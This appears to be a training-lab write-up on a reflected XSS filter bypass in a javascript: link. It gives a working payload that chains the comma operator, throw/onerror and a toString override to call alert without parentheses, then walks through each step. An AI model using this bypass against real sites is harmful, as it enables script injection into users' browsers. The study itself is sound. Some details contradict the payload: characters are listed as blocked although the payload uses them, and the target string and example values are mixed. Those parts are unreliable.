This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.
To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message.
Lab Context
The vulnerable page reflects your input into a javascript: URI inside an anchor tag:
<a href="javascript:fetch('/analytics',{method:'post',body:'/post?postId=4&USER_INPUT'}).finally(_=>window.location='/')">Back to Blog</a>Characters Blocked
" ` ( )
The Payload
&'},x=x=>{throw/**/onerror=alert,'XSS'},toString=x,window+'',{x:'
How the Payload Works — Complete Breakdown
Step 1 — Breaking Out of the fetch() Body String
// Before injection:
fetch('/analytics',{method:'post',body:'/post?postId=4&USER_INPUT'})
// After injection:
fetch('/analytics',{method:'post',body:'/post?postId=4&'})
// ↑
// & → ends URL parameter
// ' → closes the body string
// } → closes the options object
// , → comma operator chains next expressionEverything after this point runs as independent JavaScript expressions chained by the comma operator.
Step 2 — Defining the Attack Function
x=x=>{throw/**/onerror=alert,'XSS'}Assigns an arrow function to x. When called, it executes:
throw onerror=alert, 'XSS'
// ───────────── ─────
// Step A Step BComma operator evaluates left to right:
- Step A:
onerror=alert— setswindow.onerrorto thealertfunction - Step B:
throw 'XSS'— throws'XSS'as an uncaught error - Uncaught throw triggers
window.onerror window.onerror('XSS')→alert('XSS')✅
/**/ is a comment used as whitespace substitute in case spaces are stripped.
Step 3 — Overriding toString
toString=xtoString without an object prefix refers to window.toString. This replaces the native window.toString() with function x.
Step 4 — Triggering the Chain
window+''The + operator with '' forces type coercion — JavaScript must convert window to a string:
window + ''
↓
calls window.toString()
↓
toString was replaced with x
↓
x() executes
↓
throw onerror=alert, 'XSS'
↓
onerror = alert (Step A — assignment)
↓
throw 'XSS' (Step B — throws)
↓
window.onerror fires
↓
alert('XSS') ✅
Step 5 — Closing Syntax Cleanly
,{x:'The trailing {x:' opens an object with a property x whose string value is closed by the raw ' that already exists in the original fetch() call — keeping the surrounding JavaScript syntax valid.
URL Encoding — Why %27 Still Executes as '
This is a two-stage parsing process:
Stage 1 — HTML parser reads href attribute:
Sees %27 as literal URL-encoded text
Does NOT decode it
Passes raw string to next stage
Stage 2 — javascript: URI handler:
Browser performs URL decoding BEFORE handing to JS engine
%27 → '
%3d → =
%3f → ?
%26 → &
Stage 3 — JavaScript engine executes:
Receives fully decoded string
Sees real ' characters
Payload executes ✅
What HTML parser sees: %27 (safe, no special meaning)
What JS engine receives: ' (real character, executes as JS syntax)
URL encoding serves as safe transport through the HTML layer — the characters are restored exactly when needed for JavaScript execution.
Why Each Blocked Character Was Worked Around
| Blocked | Why needed | Workaround |
|---|---|---|
' " ` | String delimiters for alert('XSS') | throw with comma operator passes value without new string |
( ) | Function call syntax alert() | onerror=alert + throw calls alert implicitly |
, | Chain expressions | Comma operator inside throw expression + existing commas in fetch() argument list |
Core Concepts This Lab Teaches
1. Comma operator chains expressions without statements:
a, b, c // a runs, b runs, c runs — all in one expression2. throw + onerror calls functions without parentheses:
onerror=alert // set handler
throw 'XSS' // trigger it
// alert('XSS') fires without ever writing alert()3. Type coercion triggers function calls without parentheses:
toString = x // override toString
window + '' // forces toString() → calls x() without ()4. URL decoding happens between HTML parsing and JS execution:
%27 in href → ' when javascript: URI executes
// encode for HTML safety, decode for JS executionThe Complete Execution Chain in One Diagram
User clicks link
↓
Browser URL-decodes the javascript: URI
↓
%27→' %3d→= %3f→? (all restored)
↓
JS engine receives decoded string
↓
fetch('/analytics',{body:'/post?postId=4&'}) ← closes cleanly
↓
comma operator chains:
x = x=>{throw/**/onerror=alert,'XSS'} ← function defined
toString = x ← toString overridden
window+'' ← coercion triggered
↓
window.toString() called → x() runs
↓
onerror = alert (comma operator step 1)
throw 'XSS' (comma operator step 2)
↓
window.onerror('XSS') fires
↓
alert('XSS') ✅
Normal user search result:
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>URL Decoded
fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')Payload lands in :
fetch('/analytics', {method:'post',body:'/post?postId=1&'},throw/**/onerror=alert,1001,{%27'}).finally(_ => window.location = '/')URL Decoded :
fetch('/analytics', {method: 'post', body: '/post?postId=5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')Payload;
&'},x=x=>{throw/**/onerror=alert,'XSS'},toString=x,window+'',{x:'fetch('/analytics', {method:'post',body:'/post?postId=3&'},x=x=>{throw/**/onerror=alert,'XSS'},toString=x,window+'',{x:''}).finally(_ => window.location = '/')<a href="[javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d4%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,%27XSS%27},toString%3dx,window+%27%27,{x%3a%27'}).finally(_ => window.location = '/')](about:blank)">Back to Blog</a>